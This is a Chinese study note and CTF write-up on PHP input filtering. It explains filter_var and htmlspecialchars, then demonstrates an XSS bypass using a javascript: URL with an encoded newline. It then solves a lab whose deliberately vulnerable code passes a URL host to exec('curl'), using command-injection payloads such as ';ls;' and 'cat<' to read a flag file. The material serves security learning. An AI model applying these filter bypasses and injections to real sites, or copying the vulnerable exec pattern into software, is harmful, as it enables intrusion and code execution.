来源:https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day2/files/README.md

很多话我不想再重复了,就直接照搬的原话,能看就行

filter_var

1
filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed
  • value

    要过滤的内容。警告:标量值在过滤前,会先转换成字符串

  • filter

    要应用的过滤器。可以使用 FILTER_VALIDATE_\* 常量作为验证过滤器,使用 FILTER_SANITIZE_\*FILTER_UNSAFE_RAW 作为清理过滤器,也可以使用 FILTER_CALLBACK 作为自定义过滤器。

    注意: 默认值为 FILTER_DEFAULT,是 FILTER_UNSAFE_RAW 的别名。这将导致默认情况下不进行过滤。

  • options

    要么是选项的关联 array,要么是过滤器 flag 常量 FILTER_FLAG_\* 的位掩码。 如果 filter 接受选项(option),则可以使用数组的 "flags" 字段提供 flag。

  • 返回值

成功时返回过滤后的数据。失败时返回 **false**,除非使用 FILTER_NULL_ON_FAILURE flag,在这种情况下会返回 **null**。

示例

1
2
3
4
5
6
<?php
var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
var_dump(filter_var('https://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
?>
//string(15) "bob@example.com"
//bool(false)

htmlspecialchars

1
2
3
4
5
6
htmlspecialchars(
string $string,
int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401,
?string $encoding = null,
bool $double_encode = true
): string
字符 替换后
& (& 符号) &
" (双引号) ",除非设置了 ENT_NOQUOTES
' (单引号) 设置了 ENT_QUOTES 后, ' (如果是 ENT_HTML401) ,或者 ' (如果是 **ENT_XML1**、 ENT_XHTMLENT_HTML5)。
< (小于) <
> (大于) >
  • string

待转换的 string

  • flags

位掩码,由以下某个或多个标记组成,设置转义处理细节、无效单元序列、文档类型。 默认是 ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401

示例

1
2
3
4
<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

Demo分析

1

这里实际上用的是PHP的一个模板引擎 Twig ,本题考察XSS(跨站脚本攻击)漏洞。虽然题目代码分别用了 escapefilter_var 两个过滤方法,但是还是可以被攻击者绕过。在上图 第8行 中,程序使用 Twig 模板引擎定义的 escape 过滤器来过滤link,而实际上这里的 escape 过滤器,是用PHP内置函数 htmlspecialchars 来实现的,具体可以点击 这里 了解 escape 过滤器

第二处过滤在 第17行 ,这里用了 filter_var 函数来过滤 nextSlide 变量,且用了 FILTER_VALIDATE_URL 过滤器来判断是否是一个合法的url

针对这两处的过滤,我们可以考虑使用 javascript伪协议 来绕过。为了直接理解这两个函数的绕过,我们简化了代码,请看下面的demo:

2

1
2
3
4
5
6
7
<?php
$url = filter_var($_GET['url'],FILTER_VALIDATE_URL);
var_dump($url);
$url= htmlspecialchars($url);
var_dump($url);
echo "<a href='$url'>Next slide</a>";
?>

image-20250118145533313

xss点在url处,尝试xss的一些payload

1
?url=<h1>test<h1>

image-20250118145637680

可以看到这里直接被过滤了,那是业因为$url = filter_var($_GET[‘url’],FILTER_VALIDATE_URL);这里检查了url是否是一个URL格式的内容

于是要先构造一个URL形式的payload

1
?url=http://www.baidu.com?id=<h1>test</h1>

image-20250118150916462

还是被吃掉了,但是当我把</h1>的/去掉后,成功解析出来<h1>标签

1
?url=http://www.baidu.com?id=<h1>test<h1>

image-20250118151147968

于是继续构造尝试执行js代码

1
?url=http://1?<script>alert(1);<script>"

image-20250118151944219

还是没有办法,这里是没有写</script>闭合标签,所以形成的js代码不符合语法,无法执行弹窗,但是只要一旦我写一个</script>标签闭合回来,想使得语法正确,输入就会被全部清空

1
2
?url=http://1?<script>alert(1);</script>"
?url=http://1?<script>alert(1);//

image-20250118152335692

image-20250118152353710

  • 最终成功的paylaod是

    1
    ?url=javascript://comment%250aalert(1)

image-20250118152544256

  • 注意

image-20250118152649823

如果直接把payload复制到url栏中去,其实会有一些不可见字符,导致无法弹窗,还是推荐使用hackbar发送payload

  • 解释payload

实际上,这里的 // 在JavaScript中表示单行注释,所以后面的内容均为注释,那为什么会执行 alert 函数呢?那是因为我们这里用了字符 %0a ,该字符为换行符,所以 alert 语句与注释符 // 就不在同一行,就能执行。当然,这里我们要对 % 百分号编码成 %25 ,因为程序将浏览器发来的payload:javascript://comment%250aalert(1) 先解码成: javascript://comment%0aalert(1) 存储在变量 $url 中,然后用户点击a标签链接就会触发 alert 函数。

CTF例题练习

搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}

}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>
1
2
3
4
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

image-20250118155507338

WP

简单审计发现,这里要绕过filter_var的URL校验,然后通过exec函数执行命令读取flag

也其实就是在filter_var的限制条件下,构造payload通过exec执行命令

然后还有个正则,pase_url函数

  • 绕过正则
1
if(preg_match('/sec-redclub.com$/',$site_info['host'])){

只需要payload以sec-redclub.com结尾即可

1
2
3
4
5
6
7
8
http://localhost/index.php?url=http://demo.com@sec-redclub.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最后一个payload的#符号,请换成对应的url编码 %23
  • 绕过pase_url函数解析

并且满足 $site_info[‘host’] 的值以 sec-redclub.com 结尾,payload如下:

1
http://localhost/index.php??url=1://1111111@sec-redclub.com

image-20250118160347038

image-20250118160435089

  • 带入命令执行
1
http://localhost/index.php?url=demo://%22;ls;%23;sec-redclub.com:80/

闭合一下前面的引号

  • 绕过filter_var URL格式校验
1
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){

当我们直接用 cat f1agi3hEre.php 命令的时候,过不了 filter_var 函数检测,因为包含空格,具体payload如下:

1
http://localhost/index.php?url=demo://%22;cat%20f1agi3hEre.php;%23;sec-redclub.com:80/

所以我们可以换成 cat<f1agi3hEre.php 命令,即可成功获取flag:

image-20250118162524422